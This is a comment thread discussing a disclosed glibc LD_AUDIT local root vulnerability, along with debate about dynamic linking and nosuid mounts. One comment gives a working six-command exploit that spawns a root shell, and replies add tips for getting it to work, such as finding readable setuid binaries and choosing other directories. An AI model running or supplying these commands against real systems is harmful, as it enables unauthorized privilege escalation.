Glibc vulnerability allows any user to get root access

http://seclists.org/fulldisclosure/2010/Oct/257

by _ut0p • 16 years ago

130 34 16 years ago

vegai• 16 years ago

I'd like to see the defenders of dynamic linking who claimed that it's good for security step up now :-)

_b8r02• 16 years ago

That's a bit like saying that the defenders of SSH who claimed it's good for security should step up when there's a vulnerability.

I'm not quite sure what benefits dynamic linking is supposed to offer by way of security over static, other than when you upgrade a library due to a security weakness you don't have to relink everything.

Static linking would protect against attacks on linkers but dynamic linking offers so many non-security benefits that it's hard to ignore.

Having said that, I always keep a statically compiled busybox on any Linux host I run in case something goes wrong with glibc. Too many bad memories from broken RedHat upgrades from years back.

nuclear_eclipse2• 16 years ago

> Having said that, I always keep a statically compiled busybox on any Linux host I run in case something goes wrong with glibc

I just keep a live CD/USB on hand. A lot easier, and it gives the benefit of a graphical boot that can even access the internet to download further fixes.

pquerna• 16 years ago

it is better, on average.

having 20 random-version-bundled copies of libxml2 for example would make upgrading it a massive pain.

i think this actually a better example of setuid binaries burning you more so than dynamic linkers.

jdp23• 16 years ago

About a decade ago there was a security bug detected in zlib. When we grepped through the Windows code, we discovered 46 different copies of it in the tree. It turns out there were actually 47 -- somebody had copied the code and renamed everything.

doki_pen3• 16 years ago

False dichotomy. Among the many things that are wrong with this statement, the most important is that usually when upgrading an so, you must rebuild the packages that depend on it. Just ask any Gentoo user.

http://dl.suckless.org/stali/clt2010/stali.html

cnvogel• 16 years ago

Interestingly the method of mitigation, which is mounting user-accessible filesystems nosuid, has become less and less common over the years.

When dinosaurs still roamed the earth, it used to be that all unix installs used separate /, /var, /usr, (/export)/home, ... directories, the rationale being mostly to facilitate remote mounting of shared (/usr) programs or to isolate filesystem corruptions (/ being mostly read-only and containing essential binaries).

But its quite convenient to have each of them mounted with adequate, security and performance enhancing mount options (in Linux for example: /=noatime, /usr=nodev,noatime, /var,/tmp,/home=nodev,nosuid).

I used this scheme for quite a long time and only recently abandoned it here and there because popular Linux distributions, or e.g. OpenSolaris ZFS-root no longer offer it on their default install media. And of course it wastes a little space having to judge the maximum expected size when installing the machine.

nodata2• 16 years ago

I think this change is mostly due admin time per machine. Even if you use LVM your admin time per machine is higher if you have lots of separate partitions.

btw you might want relatime rather than noatime.

eru2• 16 years ago

Actually, you might want relatime rather than atime. Noatime is fine, if you do not rely on read access times, i.e. almost all situations.

NiekvdMaas• 16 years ago

That's 6 commands to get root access:

  mkdir /tmp/exploit
  ln /bin/ping /tmp/exploit/target
  exec 999< /tmp/exploit/target
  rm -rf /tmp/exploit/
  echo 'void __attribute__((constructor)) init(){setuid(0);system("/bin/bash");}' | gcc -w -fPIC -shared -o /tmp/exploit -xc -
  LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999

I tried, and at least glibc 2.6 and up are not vulnerable.

Edit: cat -> ping

viraptor• 16 years ago

Versions are not everything anymore. Distributions have so many patches, that unless you compiled glibc yourself (did you?), you'll get centos-libc-2.6, or debian-libc-2.6, or ...

kelnos• 16 years ago

Doesn't work for me either; I get "Permission denied" at the first exec step. Glibc 2.12.1 here (Gentoo).

pvxc• 16 years ago

Hard link creation can in recent Linux kernels be restricted, by SECURITY_YAMA_HARDLINKS config option which seems active by default at least on Ubuntu 10.10. So that platform is not vulnerable.

rg3• 16 years ago

That's because, to redirect that file to file descriptor 3 for reading, you need read permission on the file. In my system, for example, /bin/ping cannot be read as a normal user (permissions 4711) and I get that same error.

You'll have to find another binary that has the SUID bit set and is readable. For example, in my system /bin/mount does the job. Still, in the last step I get the same error as reported by several other users (Inconsistency detected...)

VMG• 16 years ago

   # pacman -Q glibc
   glibc 2.12.1-2

archlinux:

    LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999
    Inconsistency detected by ld.so: dl-open.c: 232: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!

JabavuAdams• 16 years ago

I went to try this, and then realized that I don't have gcc installed on my production (-ish) boxes.

Is this sufficient?

Can you foresee me needing to install gcc, and to leave it installed? I.e. should I install it to do whatever compiling I need to do, and then remove it?

zerohp• 16 years ago

No, it's not sufficient. Assuming an attacker has the ability to run commands as a user on your machine, they could compile the exploit code on a remote host and copy it in.

mhansen2• 16 years ago

Just tried this on an older box, and it worked. Libc version 2.5

    $ /lib/libc.so.6 | head -1
    GNU C Library stable release version 2.5, by Roland McGrath et al.

On Ubuntu 10.04 LTS I hit the assertion they talk about, and it fails:

    $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
    Inconsistency detected by ld.so: dl-open.c: 231: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!

DisposaBoy• 16 years ago

For what it's worth, I get the error: ln: failed to create hard link `/tmp/exploit/target' => `/bin/ping': Invalid cross-device link

Are there any other way to do this without ln? I have no binaries on non-root-writable filesystems. tmp is on tmpfs, / and /home are on their own filesystems so I'd need to be root to create the files on a partition that this could work from.

mhansen2• 16 years ago

Doesn't sound like it. Sounds like you need a setuid binary on a filesystem you can link to.

You can use find to see if you have a setuid binary anywhere in your filesystem:

    find / -perm -4000 2>/dev/null

lincolnq• 16 years ago

No. You have one of the workarounds the author suggests, which is only allowing users to write to nosuid mounts.

swalberg• 16 years ago

Your /tmp is on a separate file system than /bin. _Hard_ links point to the same inode, therefore both parts of your link must be on the same file system (as opposed to a soft link, which is a separate inode saying "hey buddy, go over there").

It might work in something like /var/tmp, assuming that's not a soft link to /tmp like some systems do, or a separate file system.

roel_v• 16 years ago

Maybe a bit OT, but I long for the days when advisories were cool and funny, Gobbles-style. Nowadays it's so... sterile and corporate. Still cool on a technological level (sometimes), but the Wild West spirit made the vuln-dev scene much more appealing as a spectator sport.

enduser• 16 years ago

This exploit works on an up-to-date RHEL5.3 server. Confirmed on a Rackspace Dedicated Hosting system.

NiekvdMaas's exploit code does not work on many systems because /tmp is a separate filesystem from /. Try using a different location for the 'exploit' directory and file.

Glibc vulnerability allows any user to get root access

Related Stories